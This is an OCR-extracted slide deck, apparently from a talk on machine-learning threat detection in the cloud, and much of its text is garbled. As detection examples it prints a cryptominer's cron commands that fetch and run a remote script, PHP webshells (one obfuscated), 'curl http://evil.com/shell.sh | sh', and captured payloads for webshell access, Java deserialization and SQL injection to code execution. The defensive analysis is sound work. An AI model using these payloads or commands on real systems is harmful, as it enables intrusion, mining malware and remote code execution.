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Cloud + Security

Advantages Challenges

e Data computing ability e Massive business environment

* Rich security logs e All manner of adversaries, from 'script
* God data vision kiddies' to nation states

* Precision and recall are both concerned
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Table of Threat Modeling Cases

* Brute-force Attack

* Malicious Behavior Chain

* Malicious Web Script (a.k.a webshell)
e Attack Payload Backtracking
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Rule-based Decision Problem
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Features of server login events

Rule-based decision is hard to balance False
Positives and True Negative.

Different servers have different behaviors.
Prior Knowledge is not adaptive to all cases.
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Multivariate Gauss Model

Gaussian Distribution
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Find Abnormal Behaviors
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Table of Threat Modeling Cases

e Brute-force Attack

* Malicious Behavior Chain

* Malicious Web Script (a.k.a webshell)
e Attack Payload Backtracking
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Malicious Behavior Chain

/var/www/site/cache/log.php ¢

HTTP File Read
/etc/passwd | T N
/var/www/index.php .m
/etc/hosts |
DNS Tunnel
/etc/1ld.so.preload
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Pattern Mining
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Links of Process/File/Network Entities
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Generate Strong Association Rules

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/
echo "" > /var/spool/cron/root

echo "*/15 * * * * cyrl -fsSL http://149.56.106.
echo "*/15 * * * * wget -q -0- http://149.56.10¢€
mkdir -p /var/spool/cron/crontabs

echo "" > /var/spool/cron/crontabs/root

echo =X /15 * %
fsSL http://149.56.106.215:8000/i.sh | sh" >> /v
echo */15 * %

0- http://149.56.106.215:8000/i.sh | sh" >> /var
ps auxf | grep -v grep | grep /tmp/ddgs.3013 ||

DDG Miner Commands

supportcount
438
431
331
319
301
285
277
276
273
272

v itemnames
bash->ps->,|,bash->ddgs.3013->
ddgs.3013->getconf->,!,bash->grep->

bash->date->,! bash->date-> bash->grep->,!,bash->ddgs.3013->

bash->date->,,bash->date->,bash->ps->,! bash->ddgs.3013->
bash->date->,! bash->date->,ddgs.3013->getconf->,!,bash->grep
bash->date-> !, bash->date->,bash->ddgs.3013->,,bash->grep->
bash->date-> ) bash->date-> bash->gawk->,!, bash->ps->
bash->date->,! bash->date->,bash->grep->,,bash->ps->

bash->bash->,,bash->grep-> bash->date->,!,bash->date->

bash->date->,!bash->date-> bash->ps->,! bash->xargs->

Pattern Matched
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Table of Threat Modeling Cases

* Brute-force Attack

e Malicious Behavior Chain

* Malicious Web Script (a.k.a webshell)
e Attack Payload Backtracking
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Malicious Web Script

<?php eval($ POST[1]);?> <?php /*Many functional components

http://target/small shell.php http://target/big shell.php
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Two kinds of malicious PHP script (webshell)
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Features

01 text

335 Query SELECT "<?php $CF='c'.'r'.'e'.'a‘.'t‘.'e‘.'_'.'f
2 i 'n';$EB=@$CF('$x', 'v'.'a'."1'."(b'.'a"'.'s"."e"
‘d'.'e'.'c".'0". d e($x));t); $EB( QHN1c3pr25fc3RhchoKTtp21hpc3N1ng
kX1BPUleJ2NVZGUnXSkpc3V1c3RyKHNoYTEobWQlKCRfUEBTVFsnYdeKSkstYpPTGnMJIy21cm31R
fUOVTU®1PT1sndGh1Q29kZSddPSRFUEITVFsnY29kZSdd021mKGlzc2VOKCRFUOVTUBLIPT1sndGh1Q29
kZSddKS1AZXZhbChiYXN1INjRfZGVjb2R1KCRfUBVTUB1PT1sndGh1Q29kZSddKSk7"); ?>§

operands

ASSIGN

BEGIN_SILENCE

INIT_DYNAMIC_CALL ]

SEND_VAL_EX '%24x"

SEND_VAL_EX 'eval¥%28base64_decode®

DO_FCALL

END_SILENCE ~3

ASSIGN 11, %4

INIT_DYNAMIC_CALL 11

SEND_VAL_EX 'QHN1c3Npb25fc3RhcnQokK

NvZGUnXSkpc3Vic3RyKHNOYTEobWQ1KCRFUESTVFsnYSddKSksMzYpPTOnMjIyZicmJiRfUOVTU@1PT1sndGh1Q29

021mKG1zc2VOKCRFUGVTUBLPT1sndGh1Q29kZSddKS1AZXZhbChiYXNINjRFfZGVjb2R1KCRFUBVTUBLPT1sndGh1Q
DO_FCALL 2]

> RETURN 1

e
1
2
3
4
5
6
7
8
9

03 dynamic function call

create_function("$x","e"."v"."a"."1"."(b"."a"."s"
".d".e($x));5")

base64_decode($x)

eval(base64_decode($x))
base64_decode(QHN1c3Npb25fc3RhcnQoKTtpZihpc3NldCg
NoYTEobWQ1KCRFUE9TVFsnYSddKSksMzYpPTOnMjIyZicmJiR
9TVFsnY29kZS5dd021mKGlzc2VOKCRTfUOVTUBL1PT1lsndGh1Q2S
R1KCRFfUBVTUB1PT1sndGh1Q29kZSddKSk7)
eval(base64_decode(QHN1c3Npb25fc3RhcnQoKTtpZihpc
3RYKHNOYTEobWQ1KCRFUEOTVFsnYSddKSksMzYpPTOnMjIyZi
SRFfUE9STVFsnY29kZSdd021mKGlzc2VOKCRFUBVTUGLPT1sndG
GVjb2R1KCRFfUBVTUO1PT1sndGh1Q29kzZSddKSk7))
session_start()

isset($_POST["code"])

md5($_POST["a"])

shal(md5($_POST["a"]))
substr(shal(md5($_POST["a"])),36)
isset($_SESSION["theCode"])
base64_decode($_SESSION["theCode"])
eval(base64_decode($_SESSION[ "theCode™]))
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Machine Learning Performance

True positive rate

10 1
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Lab performance: Online performance:
Tested on 30,000 samples Increase 17% detections with one false

achieved F1=98.78%, AUC=99.97% positive alert in 3 months.
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Table of Threat Modeling Cases

* Brute-force Attack

e Malicious Behavior Chain

* Malicious Web Script (a.k.a webshell)
» Attack Payload Backtracking
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Automated Attack Backtracking

@s";M ﬁ Found malicious process:
., | curl http://evil.com/shell.sh | sh
i@ T~
) ) text similarity analysis
‘ How did | get invaded? %,@ /

6‘ SIEM Q Attacker's HTTP request is:

POST /XXX/XXXX HTTP/1.1
Host: XXX.XX.XXX:7001

Problem:
What if attacker's payload

cmd=curl http://evil.com/shell.sh Wwas encoded/encrypted?

| Sh&XXXXXXXXXX
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Encoded Payload Backtracking

. "
= IR 3
- \

|
malicious behavior detected

} : o, Solved:
; E [ A ! Payload Backtracking without
\ ) text feature and vulnerability knowledge

) \ - ’—,r
USERS — “n"
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i Works only:
I Clustering I Clustering
one-to-many attack

Cluster B2
Cluster A2 Cluster B1
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Encoded Payload Backtracking Case

K iHAT18):2018-11-02 15:52:38

Ki#&:120.25.220.166

S

FHER:

{"host": ", 'uri":" /wuwu11.php","method":"POST","post_data":"h=%40eval%01%28base64_d
ecode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQolmRpc3BsYXIfZXJyb3JzliwiMCIpO0BzZ
XRfdGItZV9saW1pdCgwKTtAc2V0X21hZ2IjX3F1b3RIc19ydW50aW1IKDApO2VjaG80li0%2BfClpOztzeXNOZ
WO0o0JzEyMy5leGUNKTs7ZWNobygifDwtlik7ZGIIKCk7","rqs_content_type":"application/x-www-form-
urlencoded","rsp_content_type":" ","referer":" ","user_agent":"Mozilla/4.0 (compatible; MSIE 6.0; Windows

NT R 1Y "y farward far":" " "rankia™ " " "takan"-"2a821rrAd" "rat cada"" " "rAantant lanath"-"

Found: webshell connection flow
(Payload was encoded with base64)
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Encoded Payload Backtracking Case

AT E):2018-09-29 07:55:47

W i#:67.21.94.193

L

HAE S (G 8099" "uri":"/web-console/Invoker","method":"POST", "referer":"

" "user_agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/46.0.2490.86 Safari/537.36","x_forward_for":" ", "cookie":"

{3" "post_data":"@€\u0002\u0005sr\u00022sun.reflect.annotation.AnnotationinvocationHandlerU@€\u000
F\u0015€@~9\u0002\u0002\u0002L\u0002\fmemberValuest\u0O002\u0O0OFLjava/util/Map;L\u0002\u0004ty
pet\u0002\u0011Ljava/lang/Class;xpsr\u00021org.apache.commons.collections.map.TransformedMapaw?
©]©Zp\u0003\u0002\u0002L\u0002\u000EkeyTransformert\u0002,Lorg/apache/commons/collections/Tra
nsformer;L\u0002\u0010valueTransformerg\u0002~\u0002\u0005xppsr\u0002:org.apache.commons.colle
ctions.functors.ChainedTransformerOfJO(zO\u0004\u0002\u0002\u0002[\uOOOZ\riTransformerst\uO002—

Found: Java Deserialization Exploit
(Payload was encoded with Java serialization)
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Encoded Payload Backtracking

3 HTTP #1354
[OdayiiiZ]
B A7(8):2018-08-30 23:28:26
I #%:180.191.154.200
L
HAER{"host":" IR . uri':"/user.php?
act=login","method":"GET","referer":"554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:3:\"num\";s:314:\"*/
union select
1,0x272f2a,3,4,5,6,7,8,0x7B247B24686F6D65275D3B617373657274286261736536345F6465636F64652
8275A6D6C735A56397764585266593239756447567564484D6F4A7A4575634768774A79786D615778
6C5832646C6446396A623235305A5735306379676E6148523063446F764C33566C5A5335745A5339
4EB636B706A4A796B704F773D3D2729293B2F2F7D7D,10-- -
\"s:2:\"id\";8:3:\"/*\";s:4:\"name\";s:3:\"ads\";}554fcae493e564ee0dc75bdf2ebf94ca”,"user_agent":"Mozill
a/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87

Found: RCE caused by SQLI
(RCE payload hiding in a special hex-like string)
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Enhance Security Awareness with Data Mining

* Label data scarcity and unclear threat boundary limit the performance of
machine learning in security scenarios.

e Alis not a ‘silver bullet’ against cyber threats. It is important to determine
when Al is needed and how to quantify the improvement.

* No free lunch theorem, you must choose the algorithm according to the
actual situation of the project.
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Cloud + Security

Advantages & Challenges

Threat Modeling Cases

* Brute-force Attack

* Abnormal Process Startup

* Malicious Web Script (a.k.a webshell)
e Attack Payload Backtracking

Q&A
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